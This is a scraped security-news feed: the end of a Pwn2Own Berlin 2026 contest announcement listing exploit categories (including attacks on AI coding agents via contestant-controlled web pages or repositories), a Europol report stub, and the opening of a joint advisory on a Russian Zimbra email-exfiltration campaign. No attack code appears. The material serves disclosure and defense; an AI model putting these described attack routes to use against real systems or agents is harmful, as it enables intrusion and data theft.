                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="server"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Server Category</b></p>




  <p class="">The Server Category for 2026 focuses solely on the server components we’re most interested in. These servers are often targeted by everyone from ransomware crews to nation/state actors, so we know there are exploits out there for them. The only question is whether we’ll see any of the competitors bring one of those exploits to Pwn2Own. Last year, the bugs demonstrated in SharePoint ended up being exploited in the wild, so we know people are looking for these with great interest. Microsoft Exchange has been a popular target for some time, and it returns as a target this year as well, with a payout of $200,000. This category is rounded out by Microsoft Windows RDP/RDS, which also has a payout of $200,000. Here’s a detailed look at the targets and payouts in the Server category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="eop"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Local Escalation of Privilege Category</b></p>




  <p class="">This category is a classic for Pwn2Own and focuses on attacks that originate from a standard user and result in executing code as a high-privileged user. A successful entry in this category must leverage a kernel vulnerability to escalate privileges. Red Hat Enterprise Linux for Workstations returns as our Linux-based target, while Apple macOS, and Microsoft Windows 11 return as targets in this category. Prior exploits in this category have won Pwnie awards, so they’re always interesting to see. Here’s a detailed look at the targets and payouts in this category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="container"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Container Category</b></p>




  <p class="">We’re excited to have this category return for its third season, and we’re hopeful that even more contestants will target one of these container targets. For an attempt to be ruled a success against these three, the exploit must be launched from within the guest container/microVM and execute arbitrary code on the host operating system. Again, with help from AWS, Firecracker returns as a target with a prize of $100,000. Here are the targets and payouts for this category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="aidb"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">AI Database Category</b></p>




  <p class="">In the past, AI Hackathons have focused on using AI to develop vulnerabilities or other offensive frameworks. We’re opening up the models and various components themselves for exploitation. The first AI sub-category focuses on databases. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Database category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="aicode"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Coding Agent Category</b></p>




  <p class="">Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a new category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="ailocal"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Local Inference Category</b></p>




  <p class="">We couldn’t leave local inference and LLMs out of Pwn2Own. These products claim to provide enhanced data privacy, zero-cost inference, lower latency, and fully offline functionality. We’ll see how the security stacks up. An attempt in this category must be launched from the contestant’s laptop within the contest network. Here are the targets and payouts for the Local Inference category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="nvidia"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The NVIDIA Category</b></p>




  <p class="">Our last AI sub-category focuses solely on NVIDIA products. For network accessible targets, an attempt must be launched from the contestant's laptop within the contest network. For NV Container Toolkit, the attempt must be launched from within a crafted container image and execute arbitrary code on the host operating system. For Megatron Bridge, entries that leverage vulnerabilities pertaining to pickle deserialization or that leverage a vulnerability when “trust_remote_code=true” are out of scope. Here are the targets and payouts for the NVIDIA category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>




  <p class=""><strong>Conclusion</strong></p><p class="">The complete rules for Pwn2Own Berlin 2026 are found <a href="https://www.zerodayinitiative.com/Pwn2OwnBerlin2026Rules.html" target="_blank">here</a>. As always, we <strong>highly</strong> encourage entrants to read the rules thoroughly if they choose to participate. If you are thinking about participating but have specific configuration or rule-related questions, <a href="mailto:pwn2own@trendmicro.com?subject=Pwn2Own%20Berlin%202026%20Question" target="_blank">email</a> us. Questions asked over X (nee Twitter), BlueSky, or other means will not be answered. Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at <a href="mailto:pwn2own@trendmicro.com">pwn2own@trendmicro.com</a> to begin the registration process. Registration for onsite participation closes at 5 p.m. Central European Time on May 7, 2026.</p><p class="">Be sure to stay tuned to this blog and follow us on <a href="https://www.twitter.com/thezdi" target="_blank">Twitter</a>, <a href="https://infosec.exchange/@thezdi" target="_blank">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative" target="_blank">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social" target="_blank">Bluesky</a> for the latest information and updates about the contest. We look forward to seeing everyone in Germany, and we hope to see some of the best in the world show what they can do – vibe coded or not.</p><p class="">With special thanks to our Pwn2Own Berlin 2026 partners AWS, for providing their expertise and technology.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png" data-image-dimensions="3000x2000" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=1000w" width="3000" height="2000" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  





  <p class="">© 2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, ZERO DAY INITIATIVE, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[When violence shapes identities in a larger pool of perpetrators: new Europol terrorism report]]></title>
<description><![CDATA[Terrorism in Europe is entering a new phase. The latest European Union Terrorism Situation and Trend Report (EU TE-SAT) 2026, published today, shows how online ecosystems are fundamentally reshaping the way terrorist threats emerge, evolve online and materialise offline. Traditional…
Read more →
...]]></description>
<link>https://tsecurity.de/de/3694441/it-security-nachrichten/when-violence-shapes-identities-in-a-larger-pool-of-perpetrators-new-europol-terrorism-report/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694441/it-security-nachrichten/when-violence-shapes-identities-in-a-larger-pool-of-perpetrators-new-europol-terrorism-report/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Terrorism in Europe is entering a new phase. The latest European Union Terrorism Situation and Trend Report (EU TE-SAT) 2026, published today, shows how online ecosystems are fundamentally reshaping the way terrorist threats emerge, evolve online and materialise offline. Traditional…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/when-violence-shapes-identities-in-a-larger-pool-of-perpetrators-new-europol-terrorism-report/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/when-violence-shapes-identities-in-a-larger-pool-of-perpetrators-new-europol-terrorism-report/">When violence shapes identities in a larger pool of perpetrators: new Europol terrorism report</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
